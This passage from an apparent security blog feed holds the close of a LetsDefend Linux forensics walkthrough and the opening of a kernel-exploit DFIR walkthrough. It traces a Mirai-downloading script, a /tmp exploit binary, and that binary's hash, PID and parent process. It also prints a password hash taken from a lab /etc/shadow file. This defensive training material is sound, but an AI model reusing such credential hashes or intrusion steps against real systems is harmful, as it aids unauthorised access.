sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/9b88525887d314945e33f459764a9ab2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the user password hash within /etc/shadow&lt;/p&gt;&#xA;&lt;p&gt;$y$j9T$71dGsUtM2UGuXod7Z2SME/$NvWYKVfU9fSpnbbQNbTXcxCdGz4skq.CvJUqRxyKGx6&lt;/p&gt;&#xA;&lt;p&gt;For the scope of this investigation, we only need to copy the first part of the line, which contains the algorithm identifier, salt, and the hash itself — everything before the first &lt;code&gt;:&lt;/code&gt; symbol.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve retrieved the password hash, let&amp;rsquo;s submit our answer and wrap up this investigation. Great work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1163px&#34; data-flex-grow=&#34;484&#34; height=&#34;165&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/e801ea9788430af760560fa659c2a344_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/f461fb9dc0264aff8c4873bc4bdc63c9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Case closed! Starting with the &lt;code&gt;.bash_history&lt;/code&gt;, we were able to identify the actions taken by the employee on the system and uncover clues pointing us to various logs, including: &lt;code&gt;history.log&lt;/code&gt;, &lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;/etc/hosts&lt;/code&gt;, and &lt;code&gt;/etc/shadow&lt;/code&gt;. Using these logs, we followed the trail to a malicious script used to download malware, identified as Mirai, on &lt;em&gt;VirusTotal&lt;/em&gt;. This confirms the former employee was up to no good. It&amp;rsquo;s time to report our findings and close out our Linux Forensics walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for yet another awesome challenge. I chose this one to brush up on my Linux skills. Coming from the Windows world, I&amp;rsquo;m much more familiar with the forensic artifacts available there. While I jump in and out of Linux for other tasks, I realized I&amp;rsquo;d never had the opportunity to explore what kinds of artifacts are available — and I wasn&amp;rsquo;t disappointed! This challenge was a great excuse to spend time digging through logs and researching the Ubuntu man pages to get my hands dirty. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/linux-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — KPARTX:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — DPKG:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — PKEXEC:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — SUDO:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Sample):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**nixCraft — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Understanding /etc/shadow file format on Linux&amp;rdquo;&#xA;— Vivek Gite:** &lt;a class=&#34;link&#34; href=&#34;https://www.cyberciti.biz/faq/understanding-etcshadow-file/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cyberciti.biz/faq/understanding-etcshadow-file/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Kernel Exploit Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/</link>
            <pubDate>Sun, 29 Jun 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Kernel Exploit Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--kernel-exploit-challenge-walkthrough&#34;&gt;LetsDefend — Kernel Exploit Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-linux-dfir-challenge-using-unix-like-artifacts-collector-logs&#34;&gt;A Linux DFIR Challenge Using Unix-Like Artifacts Collector Logs.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/kernel-exploit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Kernel Exploit&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux— let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In the afternoon, network monitoring systems detected anomalous traffic patterns originating from a critical transaction processing server. Initial signs suggest a potential security breach. You have been provided with a forensic image of the affected system and tasked with conducting a thorough investigation to determine the scope of the incident.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, the stakes are high: we&amp;rsquo;re alerted to a critical transaction processing server that may have been compromised. It&amp;rsquo;s up to us to triage and analyze how the attack occurred, determine if this is a true positive, and figure out what we can do to prevent it from happening again.&lt;/p&gt;&#xA;&lt;p&gt;To run our investigation, we&amp;rsquo;re provided with a forensic image of the affected server. So, what&amp;rsquo;s in our toolkit for this one? Since the image was created using &lt;a class=&#34;link&#34; href=&#34;http://Unix-like%20Artifacts%20Collector%20%28UAC%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unix-like Artifacts Collector (UAC)&lt;/strong&gt;&lt;/a&gt;, we&amp;rsquo;ll rely on the generated artifacts and analyze them manually using a simple text editor. To enrich our findings with additional threat intelligence, we&amp;rsquo;ll also pivot out to &lt;em&gt;VirusTotal&lt;/em&gt; and the &lt;em&gt;National Vulnerability Database&lt;/em&gt; for some extra flavor.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-key-file-the-intruder-downloaded-to-elevate-their-privileges-after-gaining-unauthorized-access&#34;&gt;Question 1: What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive right in by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and extracting &lt;code&gt;linuxTriageImage.tar.zip&lt;/code&gt;, which contains &lt;code&gt;linuxTriageImage.tar.gz&lt;/code&gt;—go ahead and extract that too. This will leave us with the &lt;code&gt;linuxTriageImage&lt;/code&gt; directory, which contains all the artifacts we&amp;rsquo;ll analyze during our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/1866b8a889185fee645f9865b328d6ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Overview of challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;This might look overwhelming at first, but one file stands out immediately: &lt;code&gt;uac.log&lt;/code&gt;. Why is this important? This log indicates that the forensic utility &lt;a class=&#34;link&#34; href=&#34;https://github.com/tclahr/uac?tab=readme-ov-file#-documentation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unix-like Artifacts Collector (UAC)&lt;/strong&gt;&lt;/a&gt; was used to create the forensic image. According to the project&amp;rsquo;s GitHub page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;UAC (Unix-like Artifacts Collector) is a powerful and extensible incident response tool designed for forensic investigators, security analysts, and IT professionals. It automates the collection of artifacts from a wide range of Unix-like systems, including AIX, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Whether you&amp;rsquo;re handling an intrusion, conducting forensic investigations, or performing compliance checks, UAC simplifies and accelerates data collection while minimizing reliance on external support during critical incidents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Awesome! This gives us a starting point. We can reference the &lt;a class=&#34;link&#34; href=&#34;https://tclahr.github.io/uac-docs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;UAC&lt;/em&gt; documentation&lt;/a&gt; to understand where specific artifacts are logged, and then put that knowledge into practice.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for a file or exploit downloaded by the attacker that was critical to their attack — specifically, something that enabled &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;privilege escalation&lt;/a&gt;. To identify it, we&amp;rsquo;ll leverage the artifact logs collected by &lt;em&gt;UAC&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;code&gt;hash_executables&lt;/code&gt; folder within the challenge directory. Inside, you&amp;rsquo;ll find logs containing detailed information about executable files on the system. Let&amp;rsquo;s get an overview by opening &lt;code&gt;list_of_executable_files.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b96024ebb367cee9b948a3eef377c9bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the executable file log&lt;/p&gt;&#xA;&lt;p&gt;This log makes it easy to search for executables present on the system. Try searching for something obvious like &lt;code&gt;&amp;quot;exploit&amp;quot;&lt;/code&gt; and see if anything interesting turns up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/74a51a99fddbf2aeddec9e6282c49fbc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a suspicious file within the executable files log&lt;/p&gt;&#xA;&lt;p&gt;Hey, what do you know! We&amp;rsquo;ve found a potentially malicious file. Based on its name and its location in the &lt;code&gt;/tmp&lt;/code&gt; directory (a common staging area for the bad guys), it&amp;rsquo;s reasonable to assume this is the exploit the intruder downloaded to elevate their privileges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;671px&#34; data-flex-grow=&#34;279&#34; height=&#34;286&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a1a4ae006ced4a5f12e9fb2492d5f0a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Validating the location of the suspicious file&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/101b4f0b7cc7e7e4a822dda63ffaa8e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-was-the-file-used-for-privilege-escalation-first-submitted-on-virustotal&#34;&gt;Question 2: When was the file used for privilege escalation first submitted on Virus Total?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the malicious file used for privilege escalation, it&amp;rsquo;s time to gather some threat intelligence. One of the best places to start is &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, where we can check if this file has been seen before and how it&amp;rsquo;s been classified by various antivirus engines.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need the file&amp;rsquo;s hash so we can search for it.&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of ways to obtain the hash:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the terminal, we can generate the SHA256 hash using the following command:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;sha256sum exploit&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/d36d0737577e6842d63217f60ca00273_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the terminal to calculate the SHA256 hash of the exploit&lt;/p&gt;&#xA;&lt;p&gt;d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Alternatively, &lt;em&gt;UAC&lt;/em&gt; already collected the SHA1 hash during triage. You can find it in the &lt;code&gt;hash_executables.sha1&lt;/code&gt; log inside the &lt;code&gt;hash_executables&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/df38ab495a3acbd4dab411324f157633_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the SHA1 hash of the exploit within the hash_executables.sha1 log&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve got the hash, head over to VirusTotal and paste it into the search bar. We&amp;rsquo;ll see that this sample has been submitted to the platform before and it&amp;rsquo;s detected as malicious by a majority of the antivirus vendors.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to determine the first submission date of the file. You can find this under the &lt;em&gt;Details&lt;/em&gt; tab, in the &lt;em&gt;History&lt;/em&gt; section of the &lt;em&gt;VirusTotal&lt;/em&gt; report as &lt;em&gt;First Submission&lt;/em&gt;. This submission timestamp gives us some rough idea of how long the malware has been circulating.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;438px&#34; data-flex-grow=&#34;182&#34; height=&#34;438&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a20d03f5a1dda6ccc6c44ebf7655d9a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the first submission time of the sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/d2b97d370f181533186ea72debea0eeb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-process-id-pid-of-the-operation-launched-by-the-attacker&#34;&gt;Question 3: What is the Process ID (PID) of the operation launched by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the binary as malicious, the next step is to uncover the Process ID (PID) associated with its execution to help us follow the attacker&amp;rsquo;s activity on the system.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll leverage the process artifacts collected by UAC. These logs are in the &lt;code&gt;live_response&lt;/code&gt; folder, within the &lt;code&gt;running_processes_full_paths.txt&lt;/code&gt; log. This file contains detailed information about all processes running on the system at the time of collection, including their full paths, user context, and PIDs.&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve opened the log, search for the name of the malicious binary. This will take you directly to the relevant entry (line 369) which shows the PID of the exploit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/60b3d735674a96a4df9cc73ed770de9b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the entry for the running malicious process&lt;/p&gt;&#xA;&lt;p&gt;Having this information handy is valuable for our investigation because it helps us to identify further malicious activity by searching for any parent/child processes or correlating the PID with other logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/7ccd017a07bf6799d9828de487ed2195_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-username-was-the-malicious-process-runningunder&#34;&gt;Question 4: What username was the malicious process running under?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine which user context the malicious process was running under. For this, we can continue using the &lt;code&gt;running_processes_full_paths.txt&lt;/code&gt; log that we referenced in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;Focus on the &lt;em&gt;user&lt;/em&gt; column in the log entry for the malicious binary. You&amp;rsquo;ll see that the process was running under the account named &lt;code&gt;a1l4m&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/46148220cd1b891360ec6aa0cb9444cc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the user running the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Understanding the user context is another valuable datapoint and helps us track privilege escalation. For example, if the attacker initially launched the exploit under a non-privileged user like &lt;code&gt;a1l4m&lt;/code&gt;, but later gains root access, we have clear evidence that the exploit was used to elevate privileges as part of the attack chain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/568716b2a85cb466067b9fe3aa045da5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-parent-process-id-ppid-associated-with-the-malicious-process&#34;&gt;Question 5: What is the Parent Process ID (PPID) associated with the malicious process?&#xA;&lt;/h3&gt;&lt;p&gt;The next step in our investigation is to determine the Parent Process ID (PPID) of the malicious process we identified in &lt;strong&gt;Question 3&lt;/strong&gt;. For this, we&amp;rsquo;ll examine the &lt;code&gt;pstree_-p_-n.txt&lt;/code&gt; log generated by UAC. This log displays the system&amp;rsquo;s process tree at the time of collection, including parent-child relationships and associated PIDs.&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve opened the log, use your text editor&amp;rsquo;s &lt;em&gt;Find&lt;/em&gt; function to search for either the name of the binary (&lt;code&gt;exploit&lt;/code&gt;) or the PID we found earlier. You&amp;rsquo;ll see a line leading up and to the left of the process—that&amp;rsquo;s the visual representation of its parent relationship in the tree.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a2ef1a87da6f33243562d9d77a281a29_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the malicious process in the process tree&lt;/p&gt;&#xA;&lt;p&gt;Follow that line upward until you reach the parent: &lt;code&gt;systemd&lt;/code&gt; (PID 1686). For context in Linux, &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;systemd&lt;/em&gt;&lt;/a&gt; is the system and service manager used to manage user sessions and services. Seeing it as the parent process suggests the malicious binary was likely executed as part of a user session or terminal command, rather than being launched by another malicious process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/5503387f509665576563ea84f17b09bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the parent process of the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Understanding the parent process is important because it helps us determine how the attacker executed the binary and whether it was user-initiated or part of a larger chain. All this data helps build a narrative of the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) 